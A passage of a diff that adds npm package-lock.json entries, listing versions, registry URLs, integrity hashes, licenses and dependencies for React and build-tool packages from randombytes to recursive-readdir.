"https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "license": "MIT", + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", + "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", + "license": "MIT", + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/rdk": { + "version": "6.6.3", + "resolved": "https://registry.npmjs.org/rdk/-/rdk-6.6.3.tgz", + "integrity": "sha512-+l6HyGiPDZnFMYci6/qv6cXxLEKiPrPPngAUV1iCBmtxMvEgMlhRi20x4SRAOwCUIsZDpjniibYbDOZ9/PfBcg==", + "deprecated": "deprecated: use reablocks instead", + "license": "Apache-2.0", + "dependencies": { + "body-scroll-lock-upgrade": "^1.1.0", + "classnames": "^2.3.2", + "framer-motion": "^10.16.16", + "popper.js": "^1.16.1" + }, + "peerDependencies": { + "react": ">=16", + "react-dom": ">=16" + } + }, + "node_modules/rdk/node_modules/@emotion/is-prop-valid": { + "version": "0.8.8", + "resolved": "https://registry.npmjs.org/@emotion/is-prop-valid/-/is-prop-valid-0.8.8.tgz", + "integrity": "sha512-u5WtneEAr5IDG2Wv65yhunPSMLIpuKsbuOktRojfrEiEvRyC85LgPMZI63cr7NUqT8ZIGdSVg8ZKGxIug4lXcA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@emotion/memoize": "0.7.4" + } + }, + "node_modules/rdk/node_modules/@emotion/memoize": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.4.tgz", + "integrity": "sha512-Ja/Vfqe3HpuzRsG1oBtWTHk2PGZ7GR+2Vz5iYGelAw8dx32K0y7PjVuxK6z1nMpZOqAFsRUPCkK1YjJ56qJlgw==", + "license": "MIT", + "optional": true + }, + "node_modules/rdk/node_modules/framer-motion": { + "version": "10.18.0", + "resolved": "https://registry.npmjs.org/framer-motion/-/framer-motion-10.18.0.tgz", + "integrity": "sha512-oGlDh1Q1XqYPksuTD/usb0I70hq95OUzmL9+6Zd+Hs4XV0oaISBa/UUMSjYiq6m8EUF32132mOJ8xVZS+I0S6w==", + "license": "MIT", + "dependencies": { + "tslib": "^2.4.0" + }, + "optionalDependencies": { + "@emotion/is-prop-valid": "^0.8.2" + }, + "peerDependencies": { + "react": "^18.0.0", + "react-dom": "^18.0.0" + }, + "peerDependenciesMeta": { + "react": { + "optional": true + }, + "react-dom": { + "optional": true + } + } + }, + "node_modules/rdk/node_modules/popper.js": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", + "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==", + "deprecated": "You can find the new Popper v2 at @popperjs/core, this package is dedicated to the legacy v1", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/rdk/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/react": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz", + "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-app-polyfill": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz", + "integrity": "sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==", + "license": "MIT", + "dependencies": { + "core-js": "^3.19.2", + "object-assign": "^4.1.1", + "promise": "^8.1.0", + "raf": "^3.4.1", + "regenerator-runtime": "^0.13.9", + "whatwg-fetch": "^3.6.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/react-cool-dimensions": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/react-cool-dimensions/-/react-cool-dimensions-2.0.7.tgz", + "integrity": "sha512-z1VwkAAJ5d8QybDRuYIXTE41RxGr5GYsv1bQhbOBE8cMfoZQZpcF0odL64vdgrQVzat2jayedj1GoYi80FWcbA==", + "license": "MIT", + "peerDependencies": { + "react": ">= 16.8.0" + } + }, + "node_modules/react-cron-generator": { + "version": "1.3.11", + "resolved": "https://registry.npmjs.org/react-cron-generator/-/react-cron-generator-1.3.11.tgz", + "integrity": "sha512-NJ1GzqzUIjB9G3ikH6ehZeGWe6JYmIW3Wa4QqJpHGeiLPOE6jw6/WMl5WTRVCa2IcLl2wFWmnGdbQkdOyIrjvQ==", + "license": "ISC", + "dependencies": { + "cronstrue": "^2.11.0" + } + }, + "node_modules/react-cron-generator/node_modules/cronstrue": { + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/cronstrue/-/cronstrue-2.11.0.tgz", + "integrity": "sha512-iIBCSis5yqtFYWtJAmNOiwDveFWWIn+8uV5UYuPHYu/Aeu5CSSJepSbaHMyfc+pPFgnsCcGzfPQEo7LSGmWbTg==", + "license": "MIT" + }, + "node_modules/react-data-table-component": { + "version": "6.11.8", + "resolved": "https://registry.npmjs.org/react-data-table-component/-/react-data-table-component-6.11.8.tgz", + "integrity": "sha512-ukKJKaKNDU5+jEEZFo16+4zwQPRvw1Z13S7FOj4dr73JWRf/lKkE108jciK2tj1JPMub3qXG2h0zXDn5y2WUfQ==", + "license": "Apache-2.0", + "dependencies": { + "deepmerge": "^4.2.2", + "lodash.orderby": "^4.6.0", + "shortid": "^2.2.16" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0", + "styled-components": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/react-data-table-component/node_modules/deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dev-utils": { + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-12.0.1.tgz", + "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.16.0", + "address": "^1.1.2", + "browserslist": "^4.18.1", + "chalk": "^4.1.2", + "cross-spawn": "^7.0.3", + "detect-port-alt": "^1.1.6", + "escape-string-regexp": "^4.0.0", + "filesize": "^8.0.6", + "find-up": "^5.0.0", + "fork-ts-checker-webpack-plugin": "^6.5.0", + "global-modules": "^2.0.0", + "globby": "^11.0.4", + "gzip-size": "^6.0.0", + "immer": "^9.0.7", + "is-root": "^2.1.0", + "loader-utils": "^3.2.0", + "open": "^8.4.0", + "pkg-up": "^3.1.0", + "prompts": "^2.4.2", + "react-error-overlay": "^6.0.11", + "recursive-readdir": "^2.2.2", + "shell-quote": "^1.7.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/react-dev-utils/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/react-dev-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/react-dev-utils/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/react-dev-utils/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/react-dev-utils/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-dev-utils/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/react-dev-utils/node_modules/loader-utils": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.2.0.tgz", + "integrity": "sha512-HVl9ZqccQihZ7JM85dco1MvO9G+ONvxoGa9rkhzFsneGLKSUg1gJf9bWzhRhcvm2qChhWpebQhP44qxjKIUCaQ==", + "license": "MIT", + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/react-dev-utils/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/react-dom": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz", + "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.2" + }, + "peerDependencies": { + "react": "^18.3.1" + } + }, + "node_modules/react-error-overlay": { + "version": "6.0.11", + "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.0.11.tgz", + "integrity": "sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg==", + "license": "MIT" + }, + "node_modules/react-fast-compare": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/react-fast-compare/-/react-fast-compare-2.0.4.tgz", + "integrity": "sha512-suNP+J1VU1MWFKcyt7RtjiSWUjvidmQSlqu+eHslq+342xCbGTYmC0mEhPCOHxlW0CywylOC1u2DFAT+bv4dBw==", + "license": "MIT" + }, + "node_modules/react-helmet": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/react-helmet/-/react-helmet-6.1.0.tgz", + "integrity": "sha512-4uMzEY9nlDlgxr61NL3XbKRy1hEkXmKNXhjbAIOVw5vcFrsdYbH2FEwcNyWvWinl103nXgzYNlns9ca+8kFiWw==", + "license": "MIT", + "dependencies": { + "object-assign": "^4.1.1", + "prop-types": "^15.7.2", + "react-fast-compare": "^3.1.1", + "react-side-effect": "^2.1.0" + }, + "peerDependencies": { + "react": ">=16.3.0" + } + }, + "node_modules/react-helmet/node_modules/react-fast-compare": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/react-fast-compare/-/react-fast-compare-3.2.0.tgz", + "integrity": "sha512-rtGImPZ0YyLrscKI9xTpV8psd6I8VAtjKCzQDlzyDvqJA8XOW78TXYQwNRNd8g8JZnDu8q9Fu/1v4HPAVwVdHA==", + "license": "MIT" + }, + "node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "license": "MIT" + }, + "node_modules/react-query": { + "version": "3.39.1", + "resolved": "https://registry.npmjs.org/react-query/-/react-query-3.39.1.tgz", + "integrity": "sha512-qYKT1bavdDiQZbngWZyPotlBVzcBjDYEJg5RQLBa++5Ix5jjfbEYJmHSZRZD+USVHUSvl/ey9Hu+QfF1QAK80A==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.5.5", + "broadcast-channel": "^3.4.1", + "match-sorter": "^6.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "react-dom": { + "optional": true + }, + "react-native": { + "optional": true + } + } + }, + "node_modules/react-refresh": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.11.0.tgz", + "integrity": "sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-resize-detector": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/react-resize-detector/-/react-resize-detector-5.2.0.tgz", + "integrity": "sha512-PQAc03J2eyhvaiWgEdQ8+bKbbyGJzLEr70KuivBd1IEmP/iewNakLUMkxm6MWnDqsRPty85pioyg8MvGb0qC8A==", + "license": "MIT", + "dependencies": { + "lodash": "^4.17.20", + "prop-types": "^15.7.2", + "raf-schd": "^4.0.2", + "resize-observer-polyfill": "^1.5.1" + }, + "peerDependencies": { + "react": "^16.0.0", + "react-dom": "^16.0.0" + } + }, + "node_modules/react-router": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.3.3.tgz", + "integrity": "sha512-mzQGUvS3bM84TnbtMYR8ZjKnuPJ71IjSzR+DE6UkUqvN4czWIqEs17yLL8xkAycv4ev0AiN+IGrWu88vJs/p2w==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "hoist-non-react-statics": "^3.1.0", + "loose-envify": "^1.3.1", + "mini-create-react-context": "^0.4.0", + "path-to-regexp": "^1.7.0", + "prop-types": "^15.6.2", + "react-is": "^16.6.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-router-dom": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.3.3.tgz", + "integrity": "sha512-Ov0tGPMBgqmbu5CDmN++tv2HQ9HlWDuWIIqn4b88gjlAN5IHI+4ZUZRcpz9Hl0azFIwihbLDYw1OiHGRo7ZIng==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "loose-envify": "^1.3.1", + "prop-types": "^15.6.2", + "react-router": "5.3.3", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-router-use-location-state": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/react-router-use-location-state/-/react-router-use-location-state-2.5.0.tgz", + "integrity": "sha512-p0duQtatgL8SZzIITI3He2MP/4d9x9GQHJs93spPYAckVrvCRLAlQxS7k04RHYZb0e4yxwW76Rp/PBvezyez6g==", + "license": "MIT", + "dependencies": { + "use-location-state": "^2.5.0" + }, + "peerDependencies": { + "react": "^16.8.0", + "react-router": "^5.0.0" + } + }, + "node_modules/react-router/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/react-scripts": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/react-scripts/-/react-scripts-5.0.1.tgz", + "integrity": "sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.16.0", + "@pmmmwh/react-refresh-webpack-plugin": "^0.5.3", + "@svgr/webpack": "^5.5.0", + "babel-jest": "^27.4.2", + "babel-loader": "^8.2.3", + "babel-plugin-named-asset-import": "^0.3.8", + "babel-preset-react-app": "^10.0.1", + "bfj": "^7.0.2", + "browserslist": "^4.18.1", + "camelcase": "^6.2.1", + "case-sensitive-paths-webpack-plugin": "^2.4.0", + "css-loader": "^6.5.1", + "css-minimizer-webpack-plugin": "^3.2.0", + "dotenv": "^10.0.0", + "dotenv-expand": "^5.1.0", + "eslint": "^8.3.0", + "eslint-config-react-app": "^7.0.1", + "eslint-webpack-plugin": "^3.1.1", + "file-loader": "^6.2.0", + "fs-extra": "^10.0.0", + "html-webpack-plugin": "^5.5.0", + "identity-obj-proxy": "^3.0.0", + "jest": "^27.4.3", + "jest-resolve": "^27.4.2", + "jest-watch-typeahead": "^1.0.0", + "mini-css-extract-plugin": "^2.4.5", + "postcss": "^8.4.4", + "postcss-flexbugs-fixes": "^5.0.2", + "postcss-loader": "^6.2.1", + "postcss-normalize": "^10.0.1", + "postcss-preset-env": "^7.0.1", + "prompts": "^2.4.2", + "react-app-polyfill": "^3.0.0", + "react-dev-utils": "^12.0.1", + "react-refresh": "^0.11.0", + "resolve": "^1.20.0", + "resolve-url-loader": "^4.0.0", + "sass-loader": "^12.3.0", + "semver": "^7.3.5", + "source-map-loader": "^3.0.0", + "style-loader": "^3.3.1", + "tailwindcss": "^3.0.2", + "terser-webpack-plugin": "^5.2.5", + "webpack": "^5.64.4", + "webpack-dev-server": "^4.6.0", + "webpack-manifest-plugin": "^4.0.2", + "workbox-webpack-plugin": "^6.4.1" + }, + "bin": { + "react-scripts": "bin/react-scripts.js" + }, + "engines": { + "node": ">=14.0.0" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" + }, + "peerDependencies": { + "react": ">= 16", + "typescript": "^3.2.1 || ^4" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/react-scripts/node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/react-scripts/node_modules/semver": { + "version": "7.3.7", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/react-side-effect": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/react-side-effect/-/react-side-effect-2.1.2.tgz", + "integrity": "sha512-PVjOcvVOyIILrYoyGEpDN3vmYNLdy1CajSFNt4TDsVQC5KpTijDvWVoR+/7Rz2xT978D8/ZtFceXxzsPwZEDvw==", + "license": "MIT", + "peerDependencies": { + "react": "^16.3.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/react-transition-group": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.2.tgz", + "integrity": "sha512-/RNYfRAMlZwDSr6z4zNKV6xu53/e2BuaBbGhbyYIXTrmgu/bGHzmqOs7mJSJBHy9Ud+ApHx3QjrkKSp1pxvlFg==", + "license": "BSD-3-Clause", + "dependencies": { + "@babel/runtime": "^7.5.5", + "dom-helpers": "^5.0.1", + "loose-envify": "^1.4.0", + "prop-types": "^15.6.2" + }, + "peerDependencies": { + "react": ">=16.6.0", + "react-dom": ">=16.6.0" + } + }, + "node_modules/react-use-gesture": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/react-use-gesture/-/react-use-gesture-8.0.1.tgz", + "integrity": "sha512-CXzUNkulUdgouaAlvAsC5ZVo0fi9KGSBSk81WrE4kOIcJccpANe9zZkAYr5YZZhqpicIFxitsrGVS4wmoMun9A==", + "deprecated": "This package is no longer maintained. Please use @use-gesture/react instead", + "license": "MIT", + "peerDependencies": { + "react": ">= 16.8.0" + } + }, + "node_modules/react-vis-timeline-2": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/react-vis-timeline-2/-/react-vis-timeline-2-2.1.6.tgz", + "integrity": "sha512-/RggBBK3E89E1pl4DPe3lEZ+zR3cUZWKpO+/i9vtgv/XiPgSp/QiEY1s05F0AvLjHeYUVgks3XqL1pQxAFossQ==", + "license": "MIT", + "dependencies": { + "@egjs/hammerjs": "^2.0.17", + "component-emitter": "^1.3.0", + "keycharm": "^0.3.1", + "propagating-hammerjs": "^1.4.7", + "uuid": "^7.0.0", + "vis-data": "^7.1.0", + "vis-timeline": "^7.4.2", + "vis-util": "^4.3.4" + }, + "peerDependencies": { + "lodash": "^4.17.15", + "moment": "^2.25", + "react": "^0.14 || ^15.0 || ^16.0", + "react-dom": "^0.14 || ^15.0 || ^16.0" + } + }, + "node_modules/react-vis-timeline-2/node_modules/uuid": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz", + "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg==", + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "license": "MIT", + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "license": "MIT", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/reaflow": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/reaflow/-/reaflow-5.1.2.tgz", + "integrity": "sha512-8DctXn+sudiITeOmr5/AbALjVe3IBOzCvKdT9VZydXxMp0xbJiWBKiO8duFktPnYL293zOBTmgLjm7CcJXG32w==", + "license": "Apache-2.0", + "dependencies": { + "calculate-size": "^1.1.1", + "classnames": "^2.3.1", + "d3-shape": "^3.0.1", + "elkjs": "^0.8.2", + "ellipsize": "^0.2.0", + "framer-motion": "^7.6.7", + "kld-affine": "^2.1.1", + "kld-intersections": "^0.7.0", + "p-cancelable": "^3.0.0", + "rdk": "^6.1.0", + "react-cool-dimensions": "^2.0.7", + "react-fast-compare": "^3.2.0", + "react-use-gesture": "^8.0.1", + "reakeys": "^1.2.9", + "undoo": "^0.5.0" + }, + "peerDependencies": { + "react": ">=16", + "react-dom": ">=16" + } + }, + "node_modules/reaflow/node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/reaflow/node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "license": "ISC", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/reaflow/node_modules/react-fast-compare": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/react-fast-compare/-/react-fast-compare-3.2.2.tgz", + "integrity": "sha512-nsO+KSNgo1SbJqJEYRE9ERzo7YtYbou/OqjSQKxV7jcKox7+usiUVZOAC+XnDOABXggQTno0Y1CpVnuWEc1boQ==", + "license": "MIT" + }, + "node_modules/reakeys": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/reakeys/-/reakeys-1.3.1.tgz", + "integrity": "sha512-k75rJxIiNtA9B6a9ijgj3n7CJKhdY9hctFzac5IBnMKEzk5RpwHtOZON1xqP9fQQAscpa922lbkUMW8q94M0fg==", + "license": "Apache-2.0", + "dependencies": { + "mousetrap": "^1.6.5" + }, + "peerDependencies": { + "react": ">=16", + "react-dom": ">=16" + } + }, + "node_modules/recursive-readdir": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.2.tgz", + "integrity": "sha512-nRCcW9Sj7NuZwa2XvH9co8NPeXUBhZP7CRKJtU+cS6PW9FpCIFoI5ib0NT1ZrbNuPoRy0ylyCaUL8Gih4LSyFg==", + "license": "MIT", + "dependencies": { + "minimatch": "3.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/recursive-readdir/node_modules/minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", + "integrity": 